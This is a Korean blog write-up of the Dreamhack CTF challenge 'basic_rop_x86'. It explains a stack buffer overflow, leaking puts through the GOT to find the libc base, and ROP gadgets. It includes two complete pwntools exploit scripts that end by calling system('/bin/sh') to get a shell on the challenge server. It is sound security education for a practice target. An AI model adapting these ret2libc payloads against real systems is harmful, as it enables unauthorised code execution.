#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
위 코드는 문제에서 주어진 파일의 코드이다. buf에 0x40의 공간을 할당하고 read로 0x400바이트 만큼의 데이터를 읽어들인다.
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
버퍼오버플로우로 해결하고 싶지만 NX가 설정되어 있기 때문에 Stack, Data, Code 섹션에 쉘코드를 삽입할 수 없다. 그래서 RTL(Return to libc)공격을 사용하겠다. 위 프로그램은 RELRO가 Partial RELRO이므로 Lazy Binding을 사용하고 있음을 알 수 있다. Lazy Binding은 프로그램이 진행되면서 함수가 호출될 때마다 libc에서 함수 주소를 가져와서 실행한다. 이때 사용되는 것이 plt, got라는 개념이다. plt는 got를 이용해 함수를 호출하고 got는 함수이 호출될 때 libc에서 함수의 주소 값을 저장한다. 이번 문제에서 got가 중요한 점은 got는 한번 함수를 호출했었다면 해당 함수는 got에 주소 값이 그대로 남아있기 때문에 공격자도 plt를 이용해 해당 함수를 호출할 수 있다.
nm -D ./basic_rop_x86 | grep -w U
위 명령어를 리눅스에서 실행하면 현재 ./basic_rop_x86에 got에 존재하는 함수들을 볼 수 있다.
U alarm@GLIBC_2.0
U exit@GLIBC_2.0
U __libc_start_main@GLIBC_2.0
U puts@GLIBC_2.0
U read@GLIBC_2.0
U setvbuf@GLIBC_2.0
U signal@GLIBC_2.0
U write@GLIBC_2.0
만약 위 함수들 중 한개의 주소 값만 알아낸다면 libcbase = (함수의 got) - 함수의 오프셋(상대주소) 식을 통해서 libc의 베이스 주소를 알아낼 수 있고 libcbase 주소를 알면 lic의 모든 함수의 주소를 알 수 있다.
문제에서 주어진 코드를 보면 read 함수를 buf에 0x400만큼 받아들이므로 스택의 상태는 아래와 같다
+----------------------+ High
| |
| |
| |
| ... |
| read ret |
| read sfp |
| ... |
| |
| buf |
| ... |
+----------------------+ Low
현재 buf의 크기는 ebp에서 44만큼 떨어져있음을 gdb를 통해 확인할 수 있다.
+----------------------+ High
| |
| |
| |
| ... |
| read ret |
| read sfp |
| ... |
| |
| buf |
| ... |
+----------------------+ Low
따라서 buf가 44, sfp가 4 다음으로 ret을 오염시키기 위해서 48개의 쓰래기 값을 주입하고 원하는 함수로 변조할 것이다. 사용할 함수는 puts 함수이다. puts 함수는 got에 있는 것을 nm -D ./basic_rop_x86 | grep -w U 명령어를 이용해 확인하였으므로 read ret에는 puts_plt을 주입한다. 그리고 puts_plt를 주입하면 puts_plt 바로 위가 puts의 ret이 되고 그 위에 puts 함수의 인자가 들어가게 된다. 인자로는 puts_got를 입력할 것이다. 스택은 아래와 같다. puts 함수를 이용해 puts_got를 출력하면 puts 함수의 주소 값을 알 수 있고 puts 함수 주소값에서 puts 함수 오프셋을 빼면 libcbase를 구할 수 있다.
+----------------------+ High
| |
| |
| puts_got |
| puts ret |
| read ret ->puts_plt |
| read sfp ->쓰레기값|
| ... |
| |
| buf |
| ... |
+----------------------+ Low
from pwn import *
#r=process('./basic_rop_x86')
r=remote("host1.dreamhack.games",15066)
e=ELF('./basic_rop_x86')
libc=ELF('./libc.so.6')
def main():
puts_plt=e.plt['puts']
puts_got=e.got['puts']
payload=b'a' * (0x48)
payload += p32(puts_plt) + b'bbbb' + p32(puts_got)
r.send(payload)
r.recvuntil('a'*0x40)
puts_adr=r.recv(4)
print(hex(u32(puts_adr)))
libcbase = u32(puts_adr) - libc.sym['puts']
print('[+] libcbase: '+hex(libcbase))
r.interactive()
if __name__ == '__main__':
main()
위 코드를 요약하면 쓰레기값 'a' 0x40개로 read ret 직전까지 덮어씌우고 read ret에 puts_plt 다음으로 아직 puts ret은 정하지 않았으므로 쓰레기값 'b' 0x4개 마지막으로 puts의 인자 puts_got를 주입하였다. 그리고 페이로드를 보내고 서버 프로그램에서 write는 버퍼 크기 0x40만큼 출력하므로 'a' 0x40개를 수신하고 puts를 통해 puts_got 값을 r.recv(4)로 4바이트 만큼 수신하여 puts의 주소 값과 libcbase를 구하여 출력한다.
puts_got=0xf7e50140
libcbase=0xf7df1000
libcbase 뒤에 000이 있는 것을 보아 성공적으로 libcbase를 구했음을 알 수 있다.
다음으로 libcbase를 구했으니 다음 함수를 선택한다. 여기서 문제점은 프로세스가 끝나고 다시 시작하면 서버에 ASLR 보호기법이 걸려있어서 Stack, Libc, Heap 주소가 바뀐다. 따라서 프로세스가 끝나기 전에 모두 해결해야한다. 그래서 다음 함수는 main을 한번 더 호출하겠다. 그러면 다시 read 함수로 데이터를 받아들인다. 그리고 libcbase를 통해 system 함수와 libcbase 안에 있는 /bin/sh 문자열을 사용할 수 있으므로 쉘을 탈취할 수 있다. 아래 스택에서 puts를 실행하고 다음으로 main 함수를 호출하기 위해서는 puts ret에 적절한 가젯을 넣어야한다. puts ret을 실행하면 pop이 하나 있으므로 포인터가 puts_got로 이동하므로 한칸 더 이동하여 puts_got 바로 위에 main으로 이동하도록 만들고 싶다. 한 칸만 더 이동하면 되므로 ret에 pop이 하나만 더 있으면 된다. 즉 ret -> pop; ret 으로 교체함으로써 pop과 ret은 둘다 한 칸 위로 올라가므로 가젯을 적절히 주입하여 프로그래밍 같은 공격이 가능하다. 가젯은 objdump -d ./basic_rop_x86 명령어를 통해 찾을 수 있다.
+----------------------+ High
| |
| |
| puts_got |
| puts ret |
| puts_plt |
| 쓰레기값 |
| ... |
| |
| buf |
| ... |
+----------------------+ Low
예를 들어 한 칸 더 이동하고 싶다면 804868b를 선택하면 pop %ebp; ret 이므로 pop으로 한 칸 ret으로 한 칸 이동한다. 그리고 두 칸 더 이동하고 싶다면 804868a를 선택하면 pop %edi; pop %ebp; ret 이므로 총 세 칸 이동한다. 최종적인 스택과 익스플로잇 코드는 아래와 같다.
from pwn import *
#r=process('./basic_rop_x86')
r=remote("host1.dreamhack.games",9802)
e=ELF('./basic_rop_x86')
libc=ELF('./libc.so.6')
context.log_level='debug'
def main():
puts_plt=e.plt['puts']
puts_got=e.got['puts']
gadget1=0x80486a6 #pop ebp; ret
gadget2=0x804868a #pop edi; pop ebp; ret
payload=b'a' * (0x48)
payload += p32(puts_plt) + p32(gadget1) + p32(puts_got)
payload +=p32(e.sym['main'])
r.send(payload)
r.recvuntil('a'*0x40)
leak=r.recv(4)
print(hex(u32(leak)))
libcbase = u32(leak) - libc.sym['puts']
print('[+] libcbase: '+hex(libcbase))
system=libcbase+libc.sym['system']
binsh=libcbase+list(libc.search(b'/bin/sh'))[0]
payload2= b'a'*0x48 + p32(system) + b'bbbb' + p32(binsh)
r.send(payload2)
r.interactive()
if __name__ == '__main__':
main()
코드를 요약하면 puts 함수는 이미 got에 등록되어 있으므로 puts 함수 인자로 puts_got를 넣어 puts 함수의 주소 값을 구하고 puts 함수가 끝나면 main 함수가 다시 실행될 수 있도록 puts 페이로드 뒤에 main 페이로드를 추가한다. 그리고 이전에 쓰레기 값을 넣었던 put_plt와 put_got 사이 공간에 가젯을 넣어 puts가 끝나면 puts_got 위에 main 함수가 실행되도록 한다. 그리고 구한 libcbase를 출력한다. 지금까지의 스택은 아래와 같다.
+----------------------+ High
| |
| main |
| puts_got |
| gadget1 |
| puts_plt |
| 'aaaa' |
| ... |
| |
| buf |
| ... |
+----------------------+ Low
다시 main 함수가 시작되고 쓰레기 값 'a'를 0x48 만큼 다음으로 시스템 함수 주소, 'bbbb', /bin/sh 를 넣으면 스택은 아래와 같다.
+----------------------+ High
| |
| main |
| /bin/sh |
| 'bbbb' |
| system_plt |
| 'aaaa' |
| ... |
| |
| buf |
| ... |
+----------------------+ Low
read ret 주소가 system_plt로 오염되었으므로 system함수가 실행되고 인자로 system ret('bbbb') 위에 /bin/sh를 가져온다. 그러면 쉘을 획득하였으므로 system ret은 신경쓰지 않아도 되므로 쓰레기 값 bbbb를 준다.
'시스템 해킹 > 드림핵' 카테고리의 다른 글
[Dreamhack] Off_by_one_001 (0) | 2021.05.07 |
---|---|
[Dreamhack] basic_rop_x64 (0) | 2021.05.05 |
[Dreamhack] off_by_one_000 (0) | 2021.04.18 |
[Dreamhack] basic_exploitation_001 (0) | 2021.04.11 |
[Dreamhack] basic_exploitation_000 (0) | 2021.04.06 |
댓글